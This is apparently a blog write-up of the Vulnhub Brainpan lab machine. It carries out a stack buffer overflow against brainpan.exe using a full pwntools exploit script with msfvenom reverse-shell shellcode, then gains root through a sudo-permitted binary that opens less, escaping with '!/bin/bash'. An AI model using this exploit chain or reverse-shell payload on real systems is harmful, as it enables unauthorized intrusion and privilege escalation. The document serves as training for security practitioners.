Vulnhub - Brainpan Writeup

8 minute read

Description

Vulnhub - Brainpan. By using this virtual machine, you agree that in no event will I be liable for any loss or damage including without limitation, indirect or consequential loss or damage, or any loss or damage whatsoever arising from loss of data or profits arising out of or in connection with the use of this software. Import Brainpan into your preferred hypervisor and configure the network settings to your needs. It will get an IP address via DHCP, but it’s recommended you run it within a NAT or visible to the host OS only since it is vulnerable to attacks.

TL;DR: If something bad happens, it’s not my fault.

Enumeration

Lets check which ports are open.

Nmap

Nmap scan report for brainpan.com (192.168.1.2)
Host is up, received arp-response (0.0040s latency).
Scanned at 2020-04-12 04:48:10 EDT for 50s
Not shown: 998 closed ports
Reason: 998 resets
PORT      STATE SERVICE REASON         VERSION
9999/tcp  open  abyss?  syn-ack ttl 64
| fingerprint-strings: 
|   NULL: 
|     _| _| 
|     _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_| 
|     _|_| _| _| _| _| _| _| _| _| _| _| _|
|     _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
|     [________________________ WELCOME TO BRAINPAN _________________________]
|_    ENTER THE PASSWORD
10000/tcp open  http    syn-ack ttl 64 SimpleHTTPServer 0.6 (Python 2.7.3)
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-title: Site doesn't have a title (text/html).

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Apr 12 04:49:00 2020 -- 1 IP address (1 host up) scanned in 51.34 seconds

We have ports 9999 and 10000 open.

Port 9999

Connect to port 9999 using nc

kali@kali:~$ nc brainpan.com 9999
_|                            _|                                        
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|                          
                                            _|

[________________________ WELCOME TO BRAINPAN _________________________]
                          ENTER THE PASSWORD                              

                          >> admin
                          ACCESS DENIED
kali@kali:~$ 

We are presented with a login page. Entering the wrong password simply prints out ACCESS DENIED and exits.

The program simply crashes and exits when it receives a huge input. This hints at a possible buffer overflow attack.

kali@kali:~$ nc brainpan.com 9999
_|                            _|                                        
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|                          
                                            _|

[________________________ WELCOME TO BRAINPAN _________________________]
                          ENTER THE PASSWORD                              

                          >> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                          AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                          AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                          AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                          AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                          AAAAAAAAAAAAAAAAAAA

Port 10000

Connect to port 10000 via browser. We are greeted with an info graphic from veracode. Nothing else useful can be found in the page.

image1

Dirb

kali@kali:~/Desktop/tools/autorecon/results/brainpan.com/scans$ dirb http://192.168.1.2:10000

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Sun Apr 19 01:19:11 2020
URL_BASE: http://192.168.1.2:10000/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612               

---- Scanning URL: http://192.168.1.2:10000/ ----
+ http://192.168.1.2:10000/bin (CODE:301|SIZE:0) 
+ http://192.168.1.2:10000/index.html (CODE:200|SIZE:215)                                         
-----------------
END_TIME: Sun Apr 19 01:19:31 2020
DOWNLOADED: 4612 - FOUND: 3

There is a directory /bin. Lets see whats inside.

image1 We can find an exe file named brainpan.exe. This might be the application that is running on port 9999. Lets try debugging it using OllyDbg.

Debugging brainpan.exe

I downloaded OllyDbg to my windows system and loaded the brainpan.exe file.

Understanding the application

The main function in the application does the following

  1. Starts listening on port 9999. image1

  2. On connecting to port 9999, prompts for a password. There is no limit on the length of the input. image1

  3. Copies the input to stack using strcmp. image1

  4. Prints out the input and length of the input. image1

  5. Compares the input to the string shitstorm. image1

  6. Function returns.

We can overwrite the EIP register by inputing a large string.

I will be using the most lazy and inefficient method to complete the next steps. Please refer to a this writeup to see a much more detailed and comprehensive method.

Finding the offset to overwrite EIP

Connect to the application and send an easily recognizable string.

ali@kali:~/Desktop/tools/autorecon/results/brainpan.com/scans$ nc 192.168.1.5 9999
_|                            _|                                        
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|                          
                                            _|

[________________________ WELCOME TO BRAINPAN _________________________]
                          ENTER THE PASSWORD                              

                          >> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                          BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
                          CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC

Set a breakpoint at the return statement and observe the stack.

We can see that the string starts at address 005FF700 and the return pointer is at 005FF90C. So the offset is 005FF90C - 005FF700 = 524. We can overwrite EIP by writing a string that is 524 characters long.

image1

image1

We can confirm this by sending a 524 "A" and 4 "B" and then checking the value of EIP.

image1

We can see that we have successfully overwritten EIP.

Finding space for Shellcode

We will have to point EIP to our shellcode to get a shell. We can’t simply write the shellcode to stack and write its address to EIP because the stack address will be different when the program is executed on a different machine. Instead we can write the shell code where ESP is pointing to. Then we can overwrite EIP to point to a JMP ESP instruction, which will then execute our shellcode.

  1. We can see that ESP actually points to the address after the overwritten EIP. image1
  2. Add the shellcode right after the EIP overwrite instruction.
  3. Remember to add some padding before the shellcode. This is required to make sure that our shellcode doesn’t get overwritten. There will be instructions in the shellcode to write to stack, so if our shellcode is right at the beginning of the stack, then our shellcode will be overwritten. (I learned this the hard way after wasting hours, trying to figure out why my shellcode wasn’t working)

Find JMP ESP instruction.

Look through the code to find a JMP ESP instruction. Since this is part of the code, the address of the instruction will be same irrespective of the machine it will be run on. image1

There is a JMP ESP instruction at 311712F3. Lets use this.

Writing the shellcode

Alright, so now we have completed all the requirements for our shellcode. Lets start assembling the shellcode. I used python pwntools to make the shellcoding easier.

  1. Start with padding of 534 “A” to reach EIP
  2. Write address of JMP ESP.
  3. Add some NOP padding.
  4. Write the shellcode.

Lets generate the shellcode first. The application is running on wine32 on an Ubuntu system. We can either use a windows or linux shellcode. Linux shellcode will be easier for proceeding further. msfvenom can be used to generate the shellcode.

I forgot a super important step. We will have to find bad chars that can’t be used in the shellcode. The application uses strcmp to copy our input, hence we can’t have any null (\x00) character in our shellcode. There is a much more detailed method to find all bad chars. But I am feeling too lazy to do all that. Lets try it the easy way and hope it works.

Msfvenom

We will be using a reverse tcp shell.

kali@kali:~$ msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.3 LPORT=4444 -a x86 --platform linux -b '\x00' -f python -v shellcode
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 95 (iteration=0)
x86/shikata_ga_nai chosen with final size 95
Payload size: 95 bytes
Final size of python file: 550 bytes
shellcode =  b""
shellcode += b"\xb8\xcd\x11\x83\x39\xdb\xc0\xd9\x74\x24\xf4"
shellcode += b"\x5e\x33\xc9\xb1\x12\x83\xee\xfc\x31\x46\x0e"
shellcode += b"\x03\x8b\x1f\x61\xcc\x22\xfb\x92\xcc\x17\xb8"
shellcode += b"\x0f\x79\x95\xb7\x51\xcd\xff\x0a\x11\xbd\xa6"
shellcode += b"\x24\x2d\x0f\xd8\x0c\x2b\x76\xb0\x4e\x63\x89"
shellcode += b"\x43\x27\x76\x8a\x52\xeb\xff\x6b\xe4\x75\x50"
shellcode += b"\x3d\x57\xc9\x53\x34\xb6\xe0\xd4\x14\x50\x95"
shellcode += b"\xfb\xeb\xc8\x01\x2b\x23\x6a\xbb\xba\xd8\x38"
shellcode += b"\x68\x34\xff\x0c\x85\x8b\x80"

Now lets put together the python script

from pwn import *
import os

# Connect to the application
r = remote('192.168.1.2', 9999)

# Rcecieve the password prompt
print(r.recv(1000))

# Fill the OFFSET
shellcode = b"A"*524

# Overwrite EIP with JMP ESP instruction
shellcode += p32(0x311712F3)

# Add padding
shellcode += b"\x90"*20

# Write the shellcode
shellcode += b"\xda\xce\xd9\x74\x24\xf4\x5e\x29\xc9\xb8\x45"
shellcode += b"\x50\x9b\xbe\xb1\x12\x31\x46\x17\x83\xc6\x04"
shellcode += b"\x03\x03\x43\x79\x4b\xba\xb8\x8a\x57\xef\x7d"
shellcode += b"\x26\xf2\x0d\x0b\x29\xb2\x77\xc6\x2a\x20\x2e"                                                                                                                   
shellcode += b"\x68\x15\x8a\x50\xc1\x13\xed\x38\x12\x4b\x0c"
shellcode += b"\xbc\xfa\x8e\x0f\xad\xa6\x07\xee\x7d\x30\x48"
shellcode += b"\xa0\x2e\x0e\x6b\xcb\x31\xbd\xec\x99\xd9\x50"
shellcode += b"\xc2\x6e\x71\xc5\x33\xbe\xe3\x7c\xc5\x23\xb1"
shellcode += b"\x2d\x5c\x42\x85\xd9\x93\x05" 

# Send the exploit
r.sendline(shellcode)

Start a netcat listener on port 4444 to receive the shell and execute our script.

kali@kali:~/Desktop/vulnhub/brainpan$ python3 brain.py 
[+] Opening connection to 192.168.1.2 on port 9999: Done
b'_|                            _|                                        \n_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  \n_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|\n_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|\n_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|\n                                            _|                          \n                                            _|\n\n[________________________ WELCOME TO BRAINPAN _________________________]\n                          ENTER THE PASSWORD                              \n\n                          >> '
kali@kali:~/Desktop/vulnhub/brainpan$ 

Netcat receiving the connection.

kali@kali:~$ nc -lvp 4444
listening on [any] 4444 ...
connect to [192.168.1.4] from brainpan.com [192.168.1.2] 35982
id
uid=1002(puck) gid=1002(puck) groups=1002(puck)
python -c 'import pty;pty.spawn("/bin/bash")'
puck@brainpan:/home/puck$ id
id
uid=1002(puck) gid=1002(puck) groups=1002(puck)
puck@brainpan:/home/puck$ 

And we have a shell.

Root Shell

Check if the user has any sudo permissions.

puck@brainpan:/home/puck$ sudo -l
sudo -l
Matching Defaults entries for puck on this host:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User puck may run the following commands on this host:
    (root) NOPASSWD: /home/anansi/bin/anansi_util
puck@brainpan:/home/puck$ 

We can execute a binary named anansi_util.

puck@brainpan:/home/puck$ sudo /home/anansi/bin/anansi_util
sudo /home/anansi/bin/anansi_util
Usage: /home/anansi/bin/anansi_util [action]
Where [action] is one of:
  - network
  - proclist
  - manual [command]

Running the binary shows that we have three options. The last one is used to view the man page of a command. The man page is displayed using less. We can execute a shell from less using !/bin/bash to get root.

puck@brainpan:/home/puck$ sudo /home/anansi/bin/anansi_util manual test
sudo /home/anansi/bin/anansi_util manual test
No manual entry for manual
WARNING: terminal is not fully functional
-  (press RETURN)!/bin/bash
!/bin/bash
root@brainpan:/usr/share/man# id
id
uid=0(root) gid=0(root) groups=0(root)

And we are root.

Tags:

Categories:

Updated: